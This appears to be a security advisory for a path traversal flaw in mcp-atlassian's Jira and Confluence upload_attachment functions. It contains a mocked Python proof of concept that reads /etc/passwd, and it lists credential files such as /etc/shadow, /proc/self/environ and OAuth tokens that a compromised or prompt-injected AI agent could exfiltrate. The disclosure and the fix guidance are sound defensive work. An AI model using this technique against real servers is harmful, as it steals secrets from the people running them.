CVE-2026-77266 is a medium-severity (CVSS 6.5) Path Traversal vulnerability in mcp-atlassian. A fix is available for mcp-atlassian — see the affected versions and patch details below.
MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-77266.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-77266 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,415 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
mcp-atlassianReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The upload_attachment functions in both the Jira and Confluence modules accept a user-controlled file_path parameter and open the specified file for reading without calling validate_safe_path(). An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.
This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the download_attachment and download_issue_attachments paths were hardened with validate_safe_path(), but the upload direction was left unguarded in both the Jira and Confluence modules.
Details
Affected functions:
| File | Function | Line |
|---|---|---|
src/mcp_atlassian/jira/attachments.py | upload_attachment() | ~372–415 |
src/mcp_atlassian/confluence/attachments.py | upload_attachment() | ~62–108 |
src/mcp_atlassian/confluence/attachments.py | _upload_attachment_direct() | ~476–477 |
Jira — vulnerable code path (jira/attachments.py):
def upload_attachment(self, issue_key: str, file_path: str) -> dict:
...
if not os.path.isabs(file_path):
file_path = os.path.abspath(file_path) # resolves relative paths
if not os.path.exists(file_path): # confirms file exists
...
# ⚠ validate_safe_path() is NEVER called here
filename = os.path.basename(file_path)
with open(file_path, "rb") as file: # arbitrary file opened
attachment = self.jira.add_attachment(
issue_key=issue_key, filename=file_path
)
Compare with the protected download path in the same file:
def download_attachment(self, url: str, target_path: str) -> bool:
...
validate_safe_path(target_path) # upload has no equivalent
Confluence — vulnerable code path (confluence/attachments.py):
def upload_attachment(self, content_id, file_path, ...):
...
if not os.path.isabs(file_path):
file_path = os.path.abspath(file_path)
# ⚠ validate_safe_path() is NEVER called
filename = os.path.basename(file_path)
attachment = self._upload_attachment_direct(
content_id, file_path, filename, comment, minor_edit
)
# Inside _upload_attachment_direct():
files = {"file": (filename, open(file_path, "rb"))} # ← arbitrary file opened
PoC
Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.
Jira PoC (poc_001_jira_path_traversal.py):
import sys, os, types
from unittest.mock import MagicMock
sys.path.insert(0, "src")
def _make_pkg(name):
m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m
atlassian_pkg = _make_pkg("atlassian")
atlassian_jira = _make_pkg("atlassian.jira")
atlassian_pkg.jira = atlassian_jira
atlassian_jira.Jira = type("Jira", (), {
"__init__": lambda s, *a, **k: None,
"_session": MagicMock()
})
atlassian_pkg.Jira = atlassian_jira.Jira
keyring = _make_pkg("keyring")
keyring.get_password = keyring.set_password = lambda *a, **k: None
from mcp_atlassian.jira.attachments import AttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig
config = JiraConfig(url="https://test.atlassian.net", auth_type="basic",
username="x", api_token="x")
class FakeFetcher(AttachmentsMixin):
def __init__(self):
self.config = config
self.jira = MagicMock()
self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"}
result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd")
print(result)
Observed output — Jira (Kali Linux, v0.21.1):
<img width="1342" height="131" alt="image" src="https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc" />[*] Target file : /etc/passwd
[*] Calling : AttachmentsMixin.upload_attachment()
[*] Return value: {'success': True, 'issue_key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'}
[*] Files opened: ['/etc/passwd']
[!!!] VULNERABLE — file opened with no path validation
add_attachment call args: call(issue_key='TEST-1', filename='/etc/passwd')
Observed output — Confluence (Kali Linux, v0.21.1):
<img width="2682" height="576" alt="image" src="https://github.com/user-attachments/assets/17fc641f-6c62-4e3f-87d0-81d6977f5004" />[*] Target file : /etc/passwd
[*] Calling : ConfluenceAttachmentsMixin.upload_attachment()
[*] Return value: {'success': True, 'content_id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'}
[*] Files opened: ['/etc/passwd']
[!!!] VULNERABLE — /etc/passwd opened without validate_safe_path()
upload_attachment() → _upload_attachment_direct() → open(file_path)
download_attachment() in same file IS protected — asymmetric fix
Key evidence:
success: True— no exception raised, no path validation triggeredsize: 3388—/etc/passwdwas opened and read byos.path.getsize()- Both modules affected independently — neither Jira nor Confluence has an upload-side guard
In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.
Impact
Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process:
/etc/shadow— system password hashes/proc/self/environ— process environment variables (API keys, secrets)~/.mcp-atlassian/oauth-*.json— stored OAuth refresh tokens- SSH private keys, TLS certificates, application configuration files
No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the jira_upload_attachment and confluence_upload_attachment MCP tools are affected.
Root cause: The validate_safe_path() utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to download operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | mcp-atlassian | all versions | 0.22.0pip install --upgrade 'mcp-atlassian==0.22.0' |
Affected Products
mcp atlassianmcp-atlassianDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mcp-atlassian, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update mcp-atlassian to 0.22.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-77266 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-77266 in your dependencies?
Find it across PyPI, including transitive dependencies.